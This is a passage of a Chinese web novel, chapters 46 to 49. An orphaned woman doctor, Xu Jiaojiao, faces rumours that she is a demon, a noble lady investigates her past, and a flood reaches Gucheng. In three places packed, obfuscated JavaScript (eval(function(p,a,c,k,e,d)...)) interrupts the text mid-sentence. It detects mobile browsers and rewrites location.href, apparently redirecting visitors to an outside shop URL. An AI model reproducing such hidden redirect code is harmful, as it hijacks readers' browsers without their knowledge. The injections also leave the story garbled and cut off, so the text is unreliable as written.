李夫人蹙眉:“张记那边怎么样了?” “听说这几日去看病抓药的人少了许多。”周嬷嬷叹道,“有些老主顾虽然还去,可都指名要廖大夫或万大夫看诊,不敢找许娘子了。还有人说……说要联名去官府告状,请道士来驱邪。” “胡闹!”李夫人气得脸色发白,“这些人怎如此愚昧!” “夫人息怒。”周嬷嬷劝道,“百姓无知,最信这些神鬼之说。那许娘子的身世也确实……太蹊跷了些。” 李夫人沉默良久,终于道:“你明日亲自去一趟落溪村,打听清楚许娘子的身世。记住,悄悄地去,莫要声张。” “是。” 而此刻,张记药铺里,气氛压抑得如同暴雨前的闷热。 铺子半日没开张了。 陈伙计坐在柜台后,望着空荡荡的铺面,愁眉苦脸。往日这时辰,该是病人最多的时候,可今日连个探头的人都没有。偶尔有路人经过,也是快步走开,眼神躲闪,仿佛铺子里有什么不干净的东西。 后院,张东家背着手来回踱步,脚步沉重。廖大夫和万大夫坐在一旁,神色凝重。 “这谣言……定是有人故意散播。”廖大夫沉声道,“字字句句都冲着许大夫来,是要置她于死地啊!” 万大夫叹气:“最毒的是这谣言的内容——妖魔鬼怪之事,最是说不清道不明。许大夫就算有一百张嘴,也辩驳不了。” 张东家停下脚步,看向一直沉默的许娇娇:“娇杏,你怎么想?” 许娇娇坐在角落的小杌子上,手里握着一卷医书,却久久没有翻页。她脸色有些苍白,眼神却依旧平静。 “张伯,廖大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235803|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,万大夫。”她缓缓开口,声音很轻,却清晰,“这谣言,是冲着我来的。连累铺子生意,是我的不是。” “这叫什么话!”张东家急道,“你是咱们铺子的人,哪有连累不连累的?我只是担心你……这谣言太毒,若是传到官府耳朵里,怕是要惹麻烦。” 许娇娇点点头:“我知道。”她顿了顿,“这谣言里说的,有些是事实——我七岁前确实聋哑,父母也确实早亡。可正因如此,才更可怕。人们宁愿相信鬼神之说,也不愿相信一个孤女能靠自己的努力走出困境。” 她说到这里,嘴角勾起一丝苦笑:“其实我能理解。若换作是我,听说这样的事,恐怕也会觉得蹊跷。” “那怎么办?”陈伙计从前面探进头来,“总不能任由他们胡说吧?方才还有几个泼皮在门口探头探脑,说要看妖女长什么样,被我骂走了。” 许娇娇沉默片刻,忽然道:“张伯,我想请几日假。” “请假?”张东家一愣,“你要去哪?” “不出远门,就在家里待着。”许娇娇轻声道,“这几日铺子生意不好,我在反而添乱。不如先避避风头,等谣言淡些再说。” 张东家看着她平静的脸,心里一阵酸楚。这孩子,总是为别人着想。 “也好。”他叹道,“你先回家歇几日。铺子这边,有我们呢。” 许娇娇起身,收拾了自己的东西。药箱,医书,还有几件常穿的衣裳。她动作很慢,很仔细,像是在做一件极其重要的事。 走出铺子时,日头正毒。街上没什么人,只有热浪滚滚。许娇娇撑着把旧油纸伞,缓步往柳枝巷走。 路过茶肆时,她听见里头传来议论声: “……要我说,宁可信其有,不可信其无!万一是真的,咱们整个菰城都要遭殃!” “可不是!我听说归平县那边已经请道士做法了,说那妖女在落溪村时就不安分……” 许娇娇脚步未停,径直走了过去。 回到柳枝巷的小院,静尘和静心早已等在门口。见她回来,两人都红了眼圈。 “娇杏……”静心哽咽道,“外头那些话,我们都听说了。你别往心里去,我们都知道你不是……” 许娇娇摇摇头,笑了笑:“我没事。”她走进院子,反手闩上门,“这几日我不去铺子了,在家陪你们。” 静尘看着她平静的神色,心里更难受了。她知道娇杏的性子,越是难过,越是表现得云淡风轻。 三人进了堂屋,旺财摇着尾巴迎上来,蹭着许娇娇的腿。她弯腰摸了摸它的头,轻声道:“还是你好,听不懂那些闲话。” 这一下午,小院里异常安静。静心在厨房里忙活,说要给许娇娇炖汤补身子。静尘坐在窗下做针线,可一针一线都透着心不在焉。 许娇娇则坐在堂屋门口,望着天井里那几株被晒蔫的月季出神。 她在想,这谣言究竟是谁散播的。 水仙姑?王大官人?除了他们还能有谁?其他医药堂吗? 或许都有。有些人恨她入骨,有些则是为了竞争。他们一次不成又来一次,如今使出这种诛心的手段,是要彻底毁了她。 妖女…… 许娇娇忽然想起前世。在那个时代,一个女子若太过出众,也会被流言蜚语中伤。只是没想到,到了这里,竟成了“妖女”。 她苦笑一声。 夜幕降临时,外头忽然传来敲门声。 静心去开门,却是隔壁刘寡妇,手里端着一碗绿豆汤。 “许娘子在家吗?”刘寡妇探头往里看,神色有些不安,“我、我炖了绿豆汤,送来给你们解暑。” 许娇娇起身走到门口:“刘大娘,进来坐。” 刘寡妇却摆摆手,将碗塞给静心,压低声音道:“许娘子,外头的话……你别在意。我们这些老街坊都晓得你的为人,绝不是他们说的那样。” 许娇娇心中一暖:“多谢大娘。” “不过……”刘寡妇犹豫了一下,还是说道,“这几日你们小心些。我听说,有些混混想趁乱来闹事,说……说要抓妖女去烧了。” 静心脸色煞白:“他们敢!” “唉,这些人什么事做不出来?”刘寡妇叹气,“总之你们晚上闩好门,莫要随便开门。若有什么事,就喊一声,街坊邻居都能听见。” 送走刘寡妇,许娇娇站在院门口,望着巷子深处。夜色渐浓,家家户户亮起灯火,可不知为何,她觉得这熟悉的巷子,忽然变得陌生而危险。 谣言如刀,不见血,却能杀人。 47. 第47章 身世之谜 暑气蒸腾的晌午,沈府后宅的沁芳斋内却是一片难得的清凉。 四角置着冰盆,丝丝凉气弥散开来,将窗外聒噪的蝉鸣都隔得远了些。沈夫人李氏端坐在紫檀木嵌螺钿的圈椅中,手中捻着一串沉香木念珠,目光落在下首垂手立着的仆妇身上。 那仆妇姓孙,是沈夫人从娘家带来的陪房,办事最是稳妥可靠。前几日奉了命,悄悄往落溪村走了一趟,今日才回来复命。 “都打听清楚了?”沈夫人声音不高,却透着不容置疑的威仪。 孙嬷嬷躬身道:“回夫人,老奴在落溪村住了三日,问遍了村里的老人,旁敲侧击,总算将许娘子的身世摸了个八九不离十。” “细细说来。” “是。”孙嬷嬷清了清嗓子,开始叙述,“那许大郎夫妇,大约是十五年前搬到落溪村的。听村里最年长的张耆老说,当年他们来的时候,许大郎约莫二十二三年纪,柳氏也是十七八岁的样子,说是北边遭了灾,南下投亲。可投的什么亲,后来也没见着,就在村西头置了两亩薄田,三间茅屋,安顿下来。” 沈夫人微微颔首,示意她继续。 “夫妻二人在落溪村安顿后,听说柳氏一直不能有孕,沈大郎四处求医,无甚效用,后来听说被一个路过的道人算了一卦,说来年柳氏便能怀上。果然,第二年柳氏就有了许娘子。许娘子开春出生的,取名娇杏。怪的是,这孩子生下来就不哭不闹,到了该说话的年纪,还是咿咿呀呀发不出清晰的字音。村里渐渐有了闲话,说这孩子怕是个……”孙嬷嬷顿了顿,压低声音,“是个不祥的。” “愚昧。”沈夫人淡淡道。 “谁说不是呢。”孙嬷嬷叹道,“可许大郎夫妇待这孩子极好。许大郎懂医术,常给村里人看病,也不收钱,只换些米粮菜蔬。他出诊时常把娇杏带在身边,虽说孩子不会说话,可那双眼睛亮得很,总盯着她爹抓药、诊脉,看得入神。” “许大郎的医术如何?” “村里人都说高明。”孙嬷嬷道,“好些疑难杂症,镇上大夫看不好的,他一剂药下去就能见轻。老奴特意打听了几桩,有发热惊厥的孩童,有产后血崩的妇人,都是他救回来的。只是……” “只是什么?” 孙嬷嬷犹豫了一下:“只是许大郎这人,性子有些孤僻。除了看病,平日里不大与村人来往。他娘子柳氏据说长的花容月貌,只是深居简出,很少年人,见人也总是低着头,说话带着北地口音,温柔和气,却总像藏着心事。”沈夫人捻动念珠的手指微微一顿:“接着说。” “许娘子七岁那年,出了大事。”孙嬷嬷的声音沉了下去,“那年秋猎,许大郎跟着村里的猎户进山,说要打些野味给娘子补身子。谁知这一去……就再没回来。” “怎么死的?” “说是遇上了黑瞎子。”孙嬷嬷道,“尸首抬回来的时候,已经不成样子。柳氏当场就晕了过去,醒来后便一病不起。拖了不到三个月,也撒手去了。留下娇杏一个七岁的孩子,又聋又哑,孤苦伶仃。” 堂内一片寂静,只有冰盆里冰块融化的细微滴水声。 沈夫人闭了闭眼:“后来呢?” “后来……”孙嬷嬷声音里带上了不忍,“村里人本就嫌娇杏不祥,这下更是坐实了。都说她克父克母,是扫把星。有些顽童往她家扔石头,大人也不管。许大郎留下的两亩田、三间屋,也被村人占了去,说是帮着照料孤女,实则……” “实则如何?” “老奴打听时,那一家支支吾吾,只说娇杏自己跑丢了。可村里李婆子私下告诉老奴,分明是他们把娇杏赶出了家门,寒冬腊月,连件厚衣裳都没给。” 沈夫人手中的念珠停了:“李婆子?” “是,就是后来收留娇杏的李婆子。”孙嬷嬷道,“李婆子的丈夫早年间进山采药,被毒蛇咬了,是许大郎救回来的。这份恩情她一直记着。见娇杏被赶出来,实在可怜,就偷偷接到自家柴房住了几日。” “既如此,怎么又送到了水月庵?” 孙嬷嬷叹了口气:“李婆子自家也穷,还有一大家子要养活,实在养不起个孩子。况且村里流言愈烈,说她收留妖孽,连她家都要被排挤。没法子,她想起年轻时曾在水月庵做过帮工,与当时的了尘师父有几分交情,就把娇杏送去了。” “水月庵……”沈夫人眼中闪过一丝冷意,“那地方,我也有所耳闻。” “夫人明鉴。”孙嬷嬷声音更低,“李婆子说,她只知道了尘师父是个心善的出家人,没想到水仙姑竟和她完全不一样。”她顿了顿,见沈夫人神色凝重,才继续道:“听李婆子说,水仙姑嫌娇杏聋哑,干不了细活,动辄打骂。最狠的一次,只因观音殿走了水,烧了半边,水仙姑就说是许娘子克的,寒冬腊月,让娇杏跪在雪地上跪了一天一宿。第二日娇杏就发了高烧,水仙姑嫌她晦气,让人把她扔到后山漏风的茅屋里,说自生自灭。” 沈夫人手中的念珠“啪”地一声拍在案几上。 “是静尘——就是现在跟着许娘子的那个比丘尼,还有李婆子,两人偷偷送药送饭,娇杏才熬了过来。”孙嬷嬷声音有些发颤,“可也怪,那一场大病后,许娘子竟……竟能听见、能说话了。” 堂内又是一静。 沈夫人抬眼:“病了一场,就好了?” “李婆子说得神乎其神。”孙嬷嬷凑近些,声音压得极低,“说听许娘子说,做了个一个梦,梦中有一位白胡子的仙人点化,说原先只因时机未到,许娘子七窍只通了五窍,经过仙人点化,另外两窍就通了。见到她时眼睛清亮亮的,张口就叫’阿婆’,声音脆生生的,哪还有半点聋哑的样子?” “李婆子说,必定是神仙点化,绝不会错。”孙嬷嬷补了一句,“她说娇杏这孩子心善,命苦,老天爷开了眼。” 沈夫人沉默良久,才缓缓道:“那她的医术……” “这也奇。”孙嬷嬷道,“李婆子说,娇杏能说话后,记性变得特别好。许大郎生前的那些医书,她都能背下来;许大郎诊病的那些情形,她竟也都记得,说起来头头是道。还说,治好了她大儿媳妇的病,她那儿媳妇,基本上都瘫在床上的,听说许娘子开了个药方子,吃了十几副就有气色了,如今都能下地做事了。” 说完这些,孙嬷嬷似乎想起什么,又压低声音道:“还有一事……老奴在村里打听时,总觉得许大郎夫妇死得有些蹊跷。许大郎一个常年进山的猎户,怎会轻易被熊所伤?柳氏的身子骨一向不错,怎会伤心过度就一病不起?还有,许大郎留下的田产房屋,被张家占了后,那家子这些年日子过得越发红火,还在镇上开了间杂货铺子……” 她没再说下去,但意思已经很明显。 沈夫人久久不语。 窗外蝉鸣一阵紧似一阵,衬得屋内越发安静。冰盆里的冰块又化了一块,水滴落在铜盆里,发出清脆的“叮”一声。 “一个聋哑儿,一场大病后不但痊愈,还通了医理……”沈夫人缓缓开口,语气复杂,“听起来确实离奇。” “夫人,”孙嬷嬷小心翼翼道,“老奴觉得,许娘子或许真是有些机缘。她看病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235804|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制药的本事,咱们都是亲眼见过的,做不得假。至于那些流言……依老奴看,怕是有人故意散播,要毁了她。” 沈夫人当然明白。这几日外头的谣言愈演愈烈,说许娇杏是妖女、是山精附体,说得有鼻子有眼。若在往日,她或许会心生疑虑,可听了这番身世,反而生出了几分同情。 一个父母双亡的孤女,受尽欺凌,却凭着一点天赋和机缘,硬生生在绝境中走出了一条路。这样的人,怎么会是妖邪? 可那“神仙点化”的说法,终究太过玄奇。沈家这样的门第,结交来往最重根基清白,半点差池也出不得。 沈夫人沉吟良久,终于道:“你这一趟辛苦。下去歇着吧,今日这些话,不要外传。” “老奴明白。”孙嬷嬷躬身退下。 堂内只剩沈夫人一人。她站起身,走到窗前。窗外绿荫如盖,紫薇花开得正盛,一簇簇粉紫在烈日下灼灼燃烧。 许娇杏…… 她默念着这个名字,心头那点疑虑,终是被更多的怜惜压了下去。 罢了。身世虽离奇,可那孩子眼神清明,行事磊落,医术更是实实在在的。宁儿的病因她好转,这份恩情总是要记的。 至于那些谣言——沈夫人眼中闪过一丝冷光。 看来是有人,不想让这丫头在菰城立足啊。 ...... 与此同时,千里之外的京城,国公府九思居书房。 裴宴坐在书案后,手中同样拿着一份关于许娇娇父母的密报。只是这份密报,比沈夫人打听到的更加详尽,也更加……耐人寻味。 烛火在夏夜的微风中轻轻摇曳,将他修长的身影投在身后的书架上。他看得极慢,极仔细,每一条线索都不放过。 看到“许大郎夫妇操一口官话”时,他的目光停留了许久。 官话。 落溪村地处江南,村民多说吴语。一个南下逃荒的郎中,夫妇二人都能说一口流利的官话,这本就蹊跷。更蹊跷的是,密报中还提到,有村民回忆,许大郎偶尔脱口而出的某些用词,带着京城特有的腔调。 裴宴的指尖在“京城”二字上轻轻叩击。 许大郎夫妇,会是京城人士吗?若是,为何要远走江南,隐姓埋名在一个偏僻山村?又为何……会双双横死? 除非…… 裴宴忽然想起宫中一些秘闻。前朝有位太医,因卷入后宫争斗,满门被诛,唯有一个幼子被忠仆救出,不知所踪…… 他眼神深了深。 若许娇娇真是太医之后,那她的身世就不仅仅是一个孤女那么简单。她的父母之死,恐怕也另有隐情。 裴宴转身回到书案前,提笔写下一封信。字迹劲瘦,力透纸背。 “江南之事,继续深查。重点有三:一,许大郎真实身份;二,其夫妇死因;三,水月庵水仙姑与王兆贵的勾连。” 写罢,他唤来长风:“用最快的方式,送到江南。” “是。” 而在江南菰城,沈夫人在沁芳斋内坐了许久,终于起身,对候在外间的周嬷嬷道:“明日,请许娘子过府一趟。宁儿该复诊了。” 周嬷嬷会意:“是,老奴这就去安排。” 有些事,总要亲眼见见,亲口问问,才能放心。 夜色深沉,两处宅邸,两份心思,却都系在了同一个女子身上。 而柳枝巷的小院里,许娇娇对此一无所知。她正坐在灯下,仔细研读医术,偶尔提笔批注,神情专注。 窗外的月,静静照着这纷扰人间。 48. 第48章 沈夫人相约 晨光初透,柳枝巷里已有早起的动静。 静尘提着菜篮子推开院门时,额角还挂着细密的汗珠,脸颊被晨间的暑气蒸得泛红。她将篮子放在井台边,一边舀水洗手,一边蹙着眉道:“方才在街上听说,沿海起了飓风,怕是这几日要有大暴雨。官府正派人加固堤坝,沿湖的村民也开始往高处搬了。” 许娇娇正坐在堂屋门口的小杌子上翻看医书,闻言抬起头:“飓风?” “可不是么。”静尘擦了手,走进堂屋,“刘寡妇说,她有个远房表妹嫁给了沈府的一位牛管事,就在苕溪下游沈家的庄子里当差。那庄子紧挨着太湖,每年汛期都提心吊胆的。今年飓风来得早,怕是要遭殃。” 许娇娇放下书,走到院子里。晨风带着湿热的潮气拂面而来,天色确实有些异样——东方天际堆着厚重的铅灰色云层,日头被遮得严严实实,空气闷得人喘不过气。 她前世生活在沿海城市,对台风再熟悉不过。算算时节,如今是农历七月,正是台风多发的时候。菰城虽不直接临海,可太湖水域辽阔,一旦遭遇强降雨,加上上游来水,极易引发洪涝。 “刘寡妇还说什么了?”她问。 静尘从篮子里往外拿菜,一边道:“她说沈府在菰城的田产极多,光在苕溪下游和太湖畔就有上千亩良田桑园。每年汛期,沈家都要抽调大批人手防洪护堤,损失不小。今年这飓风来得突然,沈府怕是忙得很。” 正说着,静心从厨房里探出头来:“师姐买了什么菜?有没有姜氏茶楼的点心?娇杏最喜欢他家的桂花糕了。” “自然买了。”静尘笑着从篮子底层取出一个油纸包,“娇杏爱吃,我特意绕路去的。” 许娇娇心里一暖,接过油纸包:“师姐别光想着我,你和静心喜欢吃什么,也买些来。咱们如今日子宽裕些了,不必太省。” 静尘摆摆手:“我们不爱吃那些甜腻的,你吃就好。”她顿了顿,看向天色,“这雨要是下起来,怕是要连着好几日。咱们得备些干粮柴火,省得出不了门。” 许娇娇点头,正想说什么,院门外忽然传来叩门声。 静尘去开门,见是沈府的马车停在巷口,周嬷嬷领着个小丫鬟站在门外。 “周嬷嬷?”许娇娇有些意外,迎上前去,“您怎么今日来了?不是说好半月后复诊么?可是小娘子身子有什么不妥?” 周嬷嬷笑容和蔼:“许娘子莫急,不是五姑娘的事。是我们夫人说,许久不见娘子,想和娘子说说话,特意打发老奴来接您过府一趟。” 许娇娇心头微动。沈夫人突然相邀,绝不会只是“说说话”这么简单。怕是也听说了那些谣言。沈府那样的人家,最重名声,或许是有疑虑未消,需要她澄清吧! 她面上不动声色,福了一礼:“夫人相邀,我自当从命。只是容我稍作收拾,带上药箱。” “娘子请便。”周嬷嬷含笑等候。 许娇娇回屋换了身干净的月白色细葛布褙子,头发重新绾过,插上那支沈夫人赏的银簪。又检查了药箱,该带的药材、银针一样不落。 静尘跟进来,压低声音:“娇杏,小心些。沈夫人这时候找你,怕是……” “我知道。”许娇娇拍了拍她的手,“放心,我有分寸。” 她背上药箱走出门,周嬷嬷已打起车帘。马车是沈府女眷常用的青帷小车,里头铺着软垫,角落里放着冰盆,一进去便觉清凉。 马车在湿漉漉的青石板路上行驶,许娇娇透过车帘缝隙看着窗外匆匆的人影。街边不少铺子正忙着上门板,挑着担子的小贩脚步急促,空气中弥漫着一股山雨欲来的紧张。 周嬷嬷端坐在对面,眼观鼻鼻观心,保持着得体的沉默。她是沈夫人身边最得力的管事嬷嬷,她亲自来接许娇娇,那是很大的体面。 许娇娇也安静地坐着,听着‘嘚嘚’的马蹄声合着风铎演绎出的旋律,半个时辰不到,马车就到了沈府的侧门,只见今日门前比往常忙碌。侧门处有几辆装载麻袋的马车进出,几个管事模样的人正在低声交谈,神色凝重。但这份忙碌被约束得井井有条,仆役们步履匆匆却安静有序,显出名门世家遇事不乱的气度。 周嬷嬷引着许娇娇从角门入内,穿过两道回廊,径直往沈夫人日常处理家事的偏厅“静颐堂”去。这里不如正厅轩敞,却更显私密,是沈夫人见些不必惊动沈老夫人的客人之所。 厅内陈设雅致,临窗的紫檀木书案上堆着几本账册,一旁的花觚里插着几枝半开的玉簪花,清雅的香气与冰盆散发的凉气交织。沈夫人今日穿了件沉香色遍地金通袖褙子,头发梳得一丝不苟,戴了支赤金点翠的簪子,端坐在书案后,正提笔写着什么。 “夫人,许娘子到了。”周嬷嬷轻声禀报。 沈夫人抬起头,放下笔,脸上露出温和的笑容:“许娘子来了,坐。”她目光在许娇娇身上微微一扫,见她穿着素净,举止沉稳,眼中闪过一丝不易察觉的赞许。 许娇娇上前规规矩矩行礼,在下首的绣墩上虚坐了半边身子,脊背挺直,姿态恭敬却不卑微。 丫鬟奉上茶点,是今年新进的雨前龙井和几样精致的江南细点。沈夫人待许娇娇喝了口茶,才缓缓开口:“有些日子没见,宁儿的病多亏你调理,近日气色好了许多。” “这是医者本分。”许娇娇放下茶盏,温声道,“小娘子先天不足,需缓缓图之。我开的方子只是调理,关键还在于日常将养。” 沈夫人点点头,话锋却是一转:“前些日子,外头有些关于娘子的风言风语,我也听说了些。” 许娇娇心头微紧,面上依旧平静:“劳夫人挂心,都是些无稽之谈,如今已散了。” “无风不起浪。”沈夫人语气温和,眼神却带着审视,“我既请娘子为宁儿诊治,自然要对娘子的来历有个了解。所以前些时候,派人去了趟落溪村。” 许娇娇迎上沈夫人的目光,坦然道:“夫人查问清楚,是应当的。我身世简单,并无不可对人言之处。” 沈夫人眼中掠过一丝讶异。寻常人遇到这般查问,多少会有些不自在或惶恐,可眼前这小娘子,态度磊落得让人意外。 “你倒坦荡。”沈夫人示意周嬷嬷将一份手札递过来,“我派去的人回来禀报,说你父母许大郎夫妇十五年前落户落溪村,你七岁时他们相继亡故,之后你被送去水月庵。”她顿了顿,声音放缓了些,“这些事,你可愿与我说说?” 许娇娇沉默片刻,才轻声道:“夫人既已查知,我也没什么可隐瞒的。父亲生前确是郎中,母亲身体孱弱。七岁那年,父亲进山采药遭遇不测,母亲悲伤过度,一病不起,不久也去了。”她语气平静,像是在叙述别人的故事,“村里人觉得我不祥,李阿婆心善,将我送到水月庵栖身。” “水月庵……”沈夫人缓缓重复这三个字,目光深沉,“我听说,那里的主持水仙姑,风评似乎不大好。” 许娇娇指尖微微一颤。她不知沈夫人查到了多少,关于水月庵那些龌龊事,关于水仙姑和王大官人的勾结……说,还是不说? “我在庵中时,多是做些杂役。”她斟酌着字句,“静尘、静心两位师姐待我亲厚,其他……倒也无甚特别。”有些事,现在还不是掀开的时候。 沈夫人何等精明,从她细微的停顿中已听出未尽之言,却也不点破,只道:“我还听说,你幼时……曾患聋哑之症?” 来了。许娇娇心中暗叹,知道这才是沈夫人最在意的疑点。 “是。”她抬起头,眼神清澈,“我七岁前,确实是听不见,也说不出话。父亲在世时,想尽办法医治,却不见效。”她顿了顿,声音更轻了些,“父亲母亲去后,我在水月庵生了一场大病,高烧数日。昏沉间,似乎总听见有人唤我,看见一些模糊的影子……醒来后,竟能隐约听见声音了。后来慢慢调理,竟一日好过一日。” 她说完目光坦荡看着沈夫人。 沈夫人凝视着她,试图从她眼中找出破绽。可那双眼睛太干净,太坦然,除了提起父母时一闪而过的悲伤,再无其他。 “李阿婆说,许是神仙点化。”许娇娇补了一句,唇角泛起一丝极淡的苦笑,“或许,我只是命不该绝,老天爷给了一条生路。” 这话说得谦卑,却也在理。世人多信鬼神,一场大病后聋哑痊愈虽罕见,却也并非没有先例。至于医术——父亲本就是郎中,耳濡目染,加上天资聪颖,倒也能说得通。 沈夫人沉吟良久。她派人查访的结果,与许娇娇所说大致吻合。那些“妖女”的谣言,经她的人细究,发现最初是从庆和堂附近传出来的,其中恐怕另有蹊跷。 而眼前这小娘子,身世坎坷却心性坚韧,面对查问不卑不亢,提起父母虽有伤感却无怨怼,确实不像心术不正之人。 “你的医术,是跟父亲学的?”沈夫人又问。 “父亲留下的医书,我自幼翻看。在水月庵时,遇到过年老的比丘尼,常教我认读。后来自己摸索,又得李真人指点,才略通皮毛。”许娇娇答得谨慎。 沈夫人点点头,终于露出一抹真切的笑意:“你能有今日,实属不易。”她顿了顿,语气转为温和,“外头那些闲话,你不必放在心上。沈府既请你为宁儿诊治,便是信你。只是……” 她话锋一转:“沈家这样的门第,结交往来最重谨慎。今日与你说明这些,是望你体谅。你只管安心为宁儿调理,其他琐事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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许娇娇站在堂屋门口,望着外头白茫茫的雨幕。这场风雨,怕是要下许久了。 而她不知道的是,此刻沈府书房内,沈夫人正与刚刚回府的老夫人沈老太君禀报今日之事。 “母亲,那许娘子我见过了。”沈夫人语气恭敬,“身世确如所查,是个可怜孩子。医术看来是真才实学。” 沈老太君年过六旬,头发银白,面容清癯,一双眼睛却依旧锐利。她手中捻着佛珠,缓缓道:“既如此,便继续让她为宁儿诊治。只是分寸要把握好就成,前些日子我已说过,莫要太过亲近。咱们这样的人家,不知根底的人,不可深交。” “媳妇明白。”沈夫人垂首,“已与她说明白了。” “外头那些谣言,查清来源了吗?” “隐约指向庆和堂,但还没有确证。”沈夫人道,“媳妇想着,许是同行相妒。” 沈老太君冷哼一声:“跳梁小丑,不必理会。倒是这场风雨……”她望向窗外,眉头微蹙,“你们老太爷这两日忙着苕溪的事,你招呼他们一声,仔细着些,莫要让他涉险,年纪大了,要防着点。老二人虽在府里,这两日怕也要被官府叫去商议防洪之事。家里女眷你要安顿好,莫要让她们添乱。” “是,媳妇晓得。” 雨势如瀑,笼罩着整个菰城。 许娇娇在坐在堂屋圈椅上,和静尘和静心说着闲话,“……只是些土法子。水患当前,一要疏通沟渠,确保排水通畅;二要加固堤坝,重点防护薄弱处;三要提前转移粮食物资,尤其是药材。水灾过后易发疫病,药材储备至关重要。” 静心眼睛亮亮的听着,“娇杏,你怎么知道那么多。竟连如何防洪都知晓。” 许娇娇一愣,坏了,不知不觉把前世所知晓的知识说了出来,这些在前世都是耳熟能详的事,在这里却是不可能知晓的。真是话多必失。 “我也是看了书才知道的,我不是前几日让你写字来着,你嫌烦,不喜欢。你再看看静尘师姐,她可是每天都在习字。” 许娇娇岔开话题,说起静心不喜欢学习这事,触到了静心的短处。 “哎!我好像还有菜没有摘干净,我去做事了,你们聊。”静心笑嘻嘻的跑了。 静尘看着静心的背影摇了摇头。 许娇娇呵呵笑了几声。 “还有,师姐,这两日我们还要备药,一些防疫的草药,如苍术、艾叶、贯众等,若是遇到疫病,可焚烧熏烟,驱疫防病。” 静尘点头应是,神色却若有所思。她看着许娇娇在烛光下平静的侧脸,心中暗叹:娇杏懂得实在太多了些。那些见识,那些沉稳,哪里像个十三四岁的小娘子? 49. 第49章 水漫苕溪 这么大的雨,许娇娇和静尘静心都没有出门,张记生药铺因为许娇娇被传谣言的事,她已经许久不曾去了,张东家前些日子还遣了陈平给她带了信,信中说让她得空去一趟铺子。 雨已下了整整三天三夜。 起初是淅淅沥沥的细雨,继而转为滂沱大雨,最后成了倾盆之势。雨水像瀑布般从天上倒灌下来,砸在瓦片上发出震耳欲聋的声响,在青石板路上汇成湍急的溪流。菰城的街巷成了纵横交错的河道,浑浊的泥水漫过门槛,涌进低矮的民宅。 第四日清晨,天还没亮透,急促的锣声就响彻了柳枝巷。 “哐——哐——哐——” 锣声又急又密,混着声嘶力竭的呼喊:“苕溪要决堤了!快往高处撤!快啊!” 许娇娇一夜未眠。这三天她守着油灯,将能想到的防疫药材一一整理出来,分门别类装好。静尘和静心也没睡踏实,夜里几次起身查看门窗是否渗水。旺财似乎也感到了不安,蜷在许娇娇脚边,耳朵时不时抖动一下。 听到锣声,三人同时起身。静心推开堂屋的门,一股湿冷的风夹着雨星扑进来。巷子里已经乱成一片——有人抱着包裹往外冲,有人哭喊着找孩子,还有人正往门槛外垒沙袋。 “快,收拾要紧的东西!”许娇娇当机立断,“药箱、干粮、换洗衣裳,其他的都不要了!” 三人手忙脚乱地收拾。许娇娇将药箱背在身上,静尘拎着装干粮的包袱,静心抱着几件厚衣裳。临出门前,许娇娇回头看了眼这个住了数月的小院——堂屋桌上的医书还摊开着,墙角那丛月季在风雨中瑟瑟发抖,旺财不安地蹭着她的腿。 “旺财,走!”她弯腰抱起狗,三人冲进雨幕。 巷子里人挤人,哭喊声、叫骂声、锣鼓声混成一片。雨水没过脚踝,冰凉刺骨。许娇娇护着药箱,艰难地往前挪。静尘紧紧拉着静心的手,生怕被人群冲散。 “往城东走!那里地势高!”有人在高喊。 人群像无头的苍蝇,一会儿涌向这边,一会儿涌向那边。许娇娇心里却清楚——苕溪在城西,若真决堤,洪水会自西向东席卷整个菰城。城东虽地势稍高,可若水势太大,也未必安全。 “去仁心堂!”她忽然想起,仁心堂建在城南一处小坡上,是城里地势最高的地方之一,“那里有药铺,或许需要人手!” 三人逆着人流,艰难地往城南挪。路上不断有人摔倒,包裹散落,旋即被泥水淹没。有个老妇人抱着孙子跌坐在水里,孩子吓得哇哇大哭。许娇娇上前搀扶,静尘和静心也来帮忙,好不容易才把祖孙俩拉起来。 等他们跌跌撞撞赶到仁心堂时,天已大亮。雨势稍歇,可天色依旧阴沉得可怕。 仁心堂外已聚了不少人——有浑身湿透的灾民,有忙着安置人群的伙计,还有几个大夫正给受伤的人包扎。赵药师站在门口指挥,头发散乱,衣裳湿了大半,声音沙哑:“把轻伤的安排到厢房,重伤的抬到后堂!药材!药材搬上二楼!” 许娇娇挤上前:“赵药师!” 赵药师转头看见她,眼睛一亮:“许娘子!你来得正好!快,帮忙安置伤者!” “现在情况如何?”许娇娇一边卸下药箱一边问。 “苕溪上游三个时辰前就决了口子,”赵药师脸色凝重,“洪水正往下游冲,最多两个时辰就到菰城。官府在组织青壮加固城墙,但恐怕挡不住。”他压低声音,“朝廷派的钦差已经到了,可远水救不了近火。” 许娇娇心头一沉。两个时辰……太短了。 她不再多问,立刻投入救治。静尘和静心也帮着烧热水、分发干粮。仁心堂里乱中有序,大夫们各司其职,伙计们穿梭往来。 伤者多是逃生时摔伤、碰伤的,也有被倒塌房屋压伤的。许娇娇处理了几个外伤,手法娴熟利落。赵药师在一旁看着,暗暗点头。 到了午时,洪水果然来了。 